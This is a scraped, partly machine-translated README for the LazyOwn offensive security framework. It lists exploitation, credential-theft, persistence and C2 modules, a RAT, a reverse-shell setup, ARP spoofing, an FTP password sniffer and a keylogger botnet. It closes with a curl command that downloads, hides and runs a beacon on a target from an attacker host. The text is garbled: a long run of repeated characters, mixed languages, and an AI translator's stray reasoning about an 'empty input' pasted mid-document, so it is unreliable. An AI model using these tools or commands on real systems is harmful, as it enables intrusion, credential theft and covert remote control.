2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.```
Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help
01. Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
03. Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
gets4uticket_py printerbug_py sqli_mssql_test
04. Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
05. Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
06. Privilege Escalation
────────────────────────
responder smbserver
07. Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
08. Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
09. Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
10. Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
11. Reporting
─────────────
apropos createtargets gpt process_scans
banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
12. Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
13. Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
14. Yaml Addon.
───────────────
AdaptixC2 GoPEInjection OverRide
agentzero gosearch peeko
argfuscator gui pretender
ATTPwn gui2 PTMultiTools
AuroraPatch hack_browser_data PTMultiTools_scan
banner_tool hellbird PyinMemoryPE
bbr hive pyrit
beacon hooka_linux_amd64 raven
blacksandbeacon hostdiscover ridenum
blacksandbeacon_bof kivi_revshell setoolkit
cgoblin_windows laps ShadowLink
Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored
commix2 lazyagentAi SigPloit
copy-fail-CVE-2026-31431 lazybinenc spoonmap
CVE-2022-22077 lazyftpsniff stratus_detonate
CVE_2025_24071_PoC LazyLoader stratus_list
demiguise lazymapd toposwarm
ebird3 lazyownbt unicorn
evilginx2 LazyOwnExplorer upxdump
gcr llm vulnbot
gemini-cli NullGate vulnbot_groq
gen_dll_rev oniux vulnhuntr
Get_ReverseShell opencode_adapter watchguard
githubot orpheus wspcoerce
gomulti_loader_linux
gomulti_loader_windows
15. Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
16. Artificial Intelligence
───────────────────────────
ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $
https://deepwiki.com/grisuno/LazyOwn/```sh LazyOwn> assign binary_name my_binary LazyOwn> assign rhost 192.168.1.100 LazyOwn> assign api_key my_api_key LazyOwn> run lazysearch LazyOwn> run lazynmap LazyOwn> exit
Para pesquisar dentro do banco de dados raspado obtido do GTFOBins.```sh
python3 lazysearch.py binario_a_buscar
Recursos e Melhorias Adicionais: AutocompleteEntry:
Um filtro foi adicionado para remover valores None da lista de autocomplete. Novo Vetor de Ataque:
Um botão "Novo Vetor de Ataque" foi adicionado à interface principal. A funcionalidade foi implementada para adicionar um novo vetor de ataque e salvar os dados atualizados em arquivos Parquet. Exportar para CSV:
Um botão "Exportar para CSV" foi adicionado à interface principal. A funcionalidade foi implementada para exportar dados do DataFrame para um arquivo CSV selecionado pelo usuário. Uso:
Adicionar um Novo Vetor de Ataque: Clique no botão "Novo Vetor de Ataque", preencha os campos e salve. Exportar para CSV: Clique no botão "Exportar para CSV" e selecione o local para salvar o arquivo CSV. Nova Função scan_system_for_binaries:
Implementa buscas de binários em todo o sistema usando o comando file para determinar se um arquivo é binário. Usa os.walk para percorrer o sistema de arquivos. Os resultados são exibidos em uma nova janela dentro da GUI. Botão para Pesquisar Binários:
Um botão "Pesquisar Binários no Sistema" foi adicionado à interface principal, que chama a função scan_system_for_binaries. Nota:
A função is_binary usa o comando Unix file para determinar se um arquivo é um executável binário. Se você estiver em um sistema operacional diferente, precisará ajustar este método para compatibilidade. Esta implementação pode ser intensiva em recursos, pois percorre todo o sistema de arquivos. Você pode considerar adicionar opções adicionais para limitar a busca a diretórios específicos ou filtrar por certos tipos de arquivo.```sh python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
Se você quiser atualizar, procedemos da seguinte forma:```sh cd LazyOwn rm parquets/.csv rm parquets/.parquet ./update_db.sh
## Modo de uso LazyOwn WebShells
A LazyOwn Webshell Collection é uma coleção de webshells para o nosso framework, que nos permite estabelecer uma webshell na máquina onde executamos o LazyOwn usando várias linguagens de programação. Essencialmente, o LazyOwn Webshell levanta um servidor web dentro do diretório de módulos, tornando-o acessível através de um navegador web. Isto permite-nos tanto disponibilizar os módulos separadamente através da web como aceder ao diretório cgi-bin, onde existem quatro shells: uma em Bash, outra em Perl, outra em Python, e uma em ASP, caso o alvo seja uma máquina Windows.```sh
lazywebshell
y listo ya podemos acceder a cualquiera de estas url:
Executes the `msfvenom` tool to generate a variety of payloads based on user input.
This function prompts the user to select a payload type from a predefined list and runs the corresponding
`msfvenom` command to create the desired payload. It handles tasks such as generating different types of
payloads for Linux, Windows, macOS, and Android systems, including optional encoding with Shikata Ga Nai for C payloads.
The generated payloads are moved to a `sessions` directory, where appropriate permissions are set. Additionally,
the payloads can be compressed using UPX for space efficiency. If the selected payload is an Android APK,
the function will also sign the APK and perform necessary post-processing steps.
:param line: Command line arguments for the script.
:return: None```sh
run lazymsfvenom or venom
## Sistema de Comando e Controle
O sistema de Comando e Controle (C2) permite operações remotas através de uma arquitetura servidor-cliente com comunicações criptografadas.
## Usar Lazy PATH Hijacking
Um arquivo será criado em /tmp com o nome binary_name definido no payload, inicializado com gzip na memória, e usando bash no payload. Para definir o payload a partir do JSON, use o comando payload para executar. Use:```sh
lazypathhijacking
O LazyOwn RAT é uma ferramenta de Administração Remota simples, porém poderosa. Ele possui uma função de captura de tela que captura a tela do servidor, um comando de upload que nos permite enviar arquivos para a máquina comprometida e um modo C&C onde comandos podem ser enviados ao servidor. Ele opera em dois modos: modo cliente e modo servidor. Não há ofuscação, e o RAT é baseado no BasicRat. Você pode encontrá-lo no GitHub em https://github.com/awesome-security/basicRAT e em https://github.com/hash3liZer/SillyRAT. Embora este último seja muito mais abrangente, eu apenas queria implementar a captura de tela, o upload de arquivos e o envio de comandos. Talvez no futuro eu adicione a funcionalidade de visualização da webcam, mas isso virá depois.```sh usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient [?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver [?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file donwload /path/to/file screenshot sysinfo fix_xauth #to fix xauth xD lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C
## Use mode Lazy Meta Extract0r
LazyMeta Extract0r é uma ferramenta projetada para extrair metadados de vários tipos de arquivos, incluindo PDF, DOCX, arquivos OLE (como DOC e XLS) e vários formatos de imagem (JPG, JPEG, TIFF). Esta ferramenta percorrerá um diretório especificado, procurará arquivos com extensões compatíveis, extrairá os metadados e os salvará em um arquivo de saída.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH
lazyown_metaextract0r.py: error: the following arguments are required: --path```sh
python3 lazyown_metaextract0r.py --path /home/user
Um método de criptografia que nos permite tanto criptografar arquivos quanto descriptografá-los se tivermos a chave, é claro.
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt
## Uso modo LazyNmap
O uso do Lazynmap nos fornece um script automatizado para um alvo, neste caso, 127.0.0.1, utilizando o Nmap. O script requer permissões administrativas via sudo. Ele também inclui um módulo de descoberta de rede para identificar o que está presente no segmento de IP em que você se encontra. Além disso, o script agora pode ser chamado sem parâmetros usando o alias nmap ou com o comando run lazynmap.
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
Descubra a revolução na automação de tarefas de pentest com o Assistente CLI One Liner LazyOwn GPT! Este script incrível faz parte do conjunto de ferramentas LazyOwn, projetado para tornar sua vida como pentester mais eficiente e produtiva.
Principais Recursos:
Automação Inteligente: Aproveita o poder do Groq e modelos avançados de linguagem natural para gerar comandos precisos e eficientes com base em suas necessidades específicas. Interface Amigável: Com um simples prompt, o assistente gera e executa scripts one-liner, reduzindo drasticamente o tempo e o esforço envolvidos na criação de comandos complexos. Melhoria Contínua: Transforma e otimiza continuamente sua base de conhecimento para fornecer as melhores soluções, adaptando-se a cada situação. Depuração Simplificada: Ative o modo de depuração para obter informações detalhadas em cada etapa, facilitando a identificação e correção de erros. Integração Perfeita: Funciona sem esforço dentro do seu workspace, aproveitando o poder da API Groq para fornecer respostas rápidas e precisas. Segurança e Controle:
Tratamento Seguro de Erros: Detecta e responde inteligentemente a erros de execução, garantindo que você mantenha controle total sobre cada comando gerado. Execução Controlada: Antes de executar qualquer comando, solicita sua confirmação, dando-lhe tranquilidade ao saber exatamente o que está sendo executado em seu sistema. Configuração Fácil:
Configure sua chave de API em segundos e comece a aproveitar todos os benefícios oferecidos pelo Assistente CLI One Liner LazyOwn GPT. Um guia de início rápido está disponível para ajudá-lo a configurar e maximizar o potencial desta ferramenta poderosa.
Ideal para Pentesters e Desenvolvedores:
Otimize Seus Processos: Simplifique e acelere a geração de comandos em suas auditorias de segurança. Aprendizado Contínuo: A base de conhecimento é constantemente atualizada e aprimorada, sempre fornecendo as práticas recomendadas e soluções mais recentes. Com o Assistente CLI One Liner LazyOwn GPT, transforme a maneira como você trabalha, tornando-a mais rápida, eficiente e segura. Pare de perder tempo com tarefas repetitivas e complexas, e concentre-se no que realmente importa: descobrir e resolver vulnerabilidades!
Junte-se à revolução do pentest com o LazyOwn e leve sua produtividade ao próximo nível!
[?] Uso: python lazygptcli.py --prompt "" [--debug]
[?] Opções:
--prompt "O prompt para a tarefa de programação (obrigatório)." --debug, -d "Ativa o modo de depuração para exibir mensagens de depuração." --transform "Transforma a base de conhecimento original em uma base aprimorada usando Groq." [?] Certifique-se de configurar sua chave de API antes de executar o script: export GROQ_API_KEY=<your_api_key> [->] Visite: https://console.groq.com/docs/quickstart (não é um link patrocinado)
Requisitos:
Python 3.x Uma chave de API Groq válida Passos para Obter a Chave de API Groq: Visite o Groq Console (https://console.groq.com/docs/quickstart) para se registrar e obter uma chave de API.```sh export GROQ_API_KEY=<tu_api_key> python3 lazygptcli.py --prompt "" [--debug]
## Uso do lazyown_bprfuzzer.py
Forneça os argumentos conforme especificado pelas solicitações do script: O script exigirá os seguintes argumentos:
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA]
[--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE]
--url: A URL para a qual a requisição será enviada (obrigatório).
--method: O método HTTP a ser usado, como GET ou POST (opcional, padrão: GET).
--headers: Os cabeçalhos da requisição em formato JSON (opcional, padrão: {}).
--params: Os parâmetros da URL em formato JSON (opcional, padrão: {}).
--data: Os dados do formulário em formato JSON (opcional, padrão: {}).
--json_data: Os dados JSON para a requisição em formato JSON (opcional, padrão: {}).
--proxy_port: A porta para o proxy interno (opcional, padrão: 8080).
-w, --wordlist: O caminho para a wordlist para o modo de fuzzing (opcional).
-hc, --hide_code: O código de status HTTP a ser ocultado na saída (opcional).
Certifique-se de fornecer os argumentos obrigatórios para garantir que o script seja executado corretamente.```sh
python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
Forma 2: Uso Avançado
Se você deseja aproveitar os recursos avançados do script, como repetição de requisições ou fuzzing, siga estes passos:
Repetição de Requisições:
Para utilizar a funcionalidade de repetição de requisições, forneça os argumentos conforme indicado anteriormente. Durante a execução, o script perguntará se você deseja repetir a requisição. Digite 'y' para repetir ou 'n' para encerrar o repetidor. Fuzzing:
Para usar a funcionalidade de fuzzing, certifique-se de fornecer uma wordlist com o argumento -w ou --wordlist.
O script substituirá a palavra LAZYFUZZ na URL e em outros dados pelas palavras da wordlist fornecida.
Durante a execução, o script exibirá os resultados de cada iteração de fuzzing.
Estas são as formas básicas e avançadas de usar o script lazyburp.py. Dependendo das suas necessidades, você pode escolher o método que melhor se adapta à sua situação específica.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ"
--method POST
--headers '{"User-Agent": "LAZYFUZZ"}'
--params '{"param1": "value1", "param2": "LAZYFUZZ"}'
--data '{"key1": "LAZYFUZZ", "key2": "value2"}'
--json_data '{"key3": "LAZYFUZZ"}'
--proxy_port 8080
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt
-hc 501
I'll analyze this request carefully. The user is asking me to translate a chunk of a Kitploit tool README from English to Portuguese. However, looking at the actual content provided, the "INPUT:" section is empty — there's no actual Markdown content to translate.
Let me re-read the message. The message contains extensive instructions about how to translate, chunk-specific rules, and then "INPUT:" followed by nothing. There is no source text to translate.
Given the critical rules:
- Return ONLY the translated text
- No preamble, no commentary
- If the chunk starts mid-paragraph, continue translating from that point
Since there is no actual content in the INPUT section, there is nothing to translate. The correct response is to output nothing — an empty response — because there is no source text.
However, I should consider: is this a test where I'm expected to produce something? The instructions are very explicit that I should return ONLY the translated text with no preamble, no commentary, no explanations. If the input is empty, the output should be empty.
I should not fabricate content. I should not add any markers. The safest and most correct action is to return an empty response, since there is no text to translate.
But wait — an empty response might be interpreted as an error. Let me think about what's most appropriate. The rules say "Return ONLY the translated text." If there's no text, there's no translation. Adding anything would violate the rules.
I'll provide an empty response as that's the only correct action given empty input.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
Nota: Para usar o dicionário, execute o seguinte comando dentro de /usr/share/seclists:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip
&& unzip SecList.zip
&& rm -f SecList.zip
## Uso do Modo LazyOwn FTP Sniff
Este módulo é usado para procurar senhas em servidores FTP pela rede. Alguns podem dizer que o FTP não é mais usado, mas você ficaria surpreso com os ambientes de infraestrutura crítica que eu vi com enormes serviços FTP rodando em seus servidores. :)```sh
assign device eth0
run lazyftpsniff
Listen```sh nc -nlvp 1337 #o el puerto que escojamos
e depois na máquina vítima```sh
./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337
O módulo está localizado no diretório de módulos e é usado da seguinte forma:```sh chmod +x lazycurl.sh
e então```sh
./lazycurl.sh --mode GET --url http://10.10.10.10
Uso.
GET:```sh ./lazycurl.sh --mode GET --url http://10.10.10.10
POST:```sh
./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1¶m2=value2"
TRACE:```sh ./lazycurl.sh --mode TRACE --url http://10.10.10.10
Upload de arquivo:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt
modo de força bruta com wordlist:```sh ./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt
Certifique-se de ajustar os parâmetros de acordo com as suas necessidades e que os valores fornecidos para as opções sejam válidos para cada caso.
## Uso do Modo ARPSpoofing
O script fornece um ataque de ARP spoofing usando Scapy. No payload, você deve definir o lhost, o rhost e o dispositivo que você usará para realizar o ARP spoofing.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing
Este script fornece uma visão de raio-X do sistema em questão onde a ferramenta está sendo executada, oferecendo insights sobre sua configuração e estado.
```sh
run lazygath
## Uso do Modo Lazy Own LFI RFI 2 RCE
O modo LFI RFI 2 RCE foi projetado para testar alguns dos payloads mais conhecidos contra os parâmetros especificados em payload.json. Isso permite uma avaliação abrangente das vulnerabilidades de Inclusão Local de Arquivo (LFI), Inclusão Remota de Arquivo (RFI) e Execução Remota de Código (RCE) no sistema alvo.
```sh
payload
run lazylfi2rce
O modo sniffer permite capturar tráfego de rede através de interfaces usando a opção -i, que é obrigatória. Existem muitas outras configurações opcionais que podem ser ajustadas conforme necessário.
usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP] lazysniff.py: error: the following arguments are required: -i/--interface
To use the sniffer from the framework, you must configure the device with the command:
execute lazysniff
ou apenas
sniff```
### Experimental Obfuscation Using PyInstaller
This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.
```sh
./py2el.sh```
## Experimental NetBIOS Exploit
This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)
```sh
executar lazynetbios```
## Experimental LazyBotNet with Keylogger for Windows and Linux
This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.
```sh
payload
run lazybotnet```
## Interactive Menus
The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.
### Clean Interruption
The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.
## License
This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.
## Acknowledgments ✌
A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive
### Thanks to pwntomate 🍅
An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>
### Thanks to Sicat 🐈
An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>
### Thanks to josefcohernandez
For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.
### Thanks to EQSTLab (via yym8538)
For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.
## BlackSandBeacon — Linux BOF
**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.
### What is Linux BOF?
On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:
- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
(`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
`BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
kernel interaction without libc linking.
### Deployment via LazyOwn
```bash
# 1. Compilar e preparar o beacon
(LazyOwn) > blacksandbeacon
# 2. Entregar ao alvo (o comando é executado no alvo)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &
# 3. Compilar e preparar o carregador BOF
(LazyOwn) > blacksandbeacon_bof
# 4. Entregar o carregador BOF a uma sessão ativa
